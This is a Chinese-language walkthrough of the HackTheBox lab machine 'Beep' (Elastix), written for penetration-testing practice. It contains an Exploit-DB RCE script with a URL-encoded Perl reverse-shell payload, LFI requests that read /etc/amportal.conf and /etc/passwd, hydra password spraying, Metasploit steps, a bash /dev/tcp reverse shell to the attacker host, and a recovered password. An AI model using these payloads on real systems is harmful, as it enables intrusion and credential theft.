靶机信息
靶机地址:
https://app.hackthebox.com/machines/Beep
靶场: HackTheBox.com
靶机名称:Beep
难度: 简单
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:Kali 10.10.16.3
靶机:10.10.10.7
信息收集
扫描端口
扫描靶机开放的服务端口
sudo nmap -p- 10.10.10.7
sudo nmap -sC -sV -p 22,25,80,110,111,143,443,3306,4190,4445,4559,5038,10000 10.10.10.7 -oN nmap.log
靶机开放多个端口22(SSH),25、110、143(SMTP、POP3、IMAP),80、443、10000(HTTP/s),3306(MYSQL)等,先来看看80端口。
TCP:80(HTTP)
http://10.10.10.7
^___^:如果你访问时出现下面情况是因为新的浏览器不支持TLS1.2以下的加密协议,解决这个问题很简单,搜索引擎上有答案。
访问后直接跳转到https登录页面,页面正文发现程序名称为Elastix,到搜索引擎上找找是否存在漏洞
漏洞利用(Exploitation)
搜索引擎提供了两个漏洞LFI(本地文件包含)和RCE(远程代码执行)漏洞,先来看看远程代码执行的exp
RCE远程代码执行漏洞
https://www.exploit-db.com/exploits/18650
执行exp前需要做些准备
修改exp中的IP并保存为RCEexp.py,并将urllib.urlopen修改为urllib.request.urlopen
import requests
from requests_toolbelt import SSLAdapter
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = 'DEFAULT:@SECLEVEL=1'
rhost="10.10.10.7"
lhost="10.10.16.4"
lport=443
extension="223"
req = requests.Session()
adapter = SSLAdapter('TLSv1')
req.mount('https://',adapter)
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
req.get(url,verify=False)
这里的证书问题一直处理不好,再来看看LFI漏洞
https://www.exploit-db.com/exploits/37637
这里有段文件包含的payload,直接拿来用
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
执行后在配置文件中发现mysql数据库和管理员用户名而且两个密码是相同的,其他用户密码会不会相同,再来看看有哪些用户
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action
发现多个可以登录的账号,用刚获得的密码与账号匹配登录SSH
密码喷洒
hydra -L user.txt -p jEhdIekWmdjE ssh://10.10.10.7
暴破失败,换msf试试EXP
msfconsole -q
search Elastix
use 0
找到EXP,看看哪些选项需要配置
options
配置下选项并执行
set EXTENSION 0-500
set RHOSTS 10.10.10.7
set RPORT 443
set SSL true
set LHOST 10.10.16.5
run
攻击失败还是openssl问题,再来看看1000端口
TCP:10000(HTTP:Webmin)
https://10.10.10.7:10000/
登录后发现是Webmin,用之前的密码
jEhdIekWmdjE
和root账号试试能否登录
登录成功,太棒了,终于可以拿shell了,
攻击机监听443端口
sudo nc -lvvp 443
执行反弹payload
bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'
拿到shell并且是root权限,来找下flag
cd /home
cat fanis/user.txt
cat /root/root.txt
拿到flag,游戏结束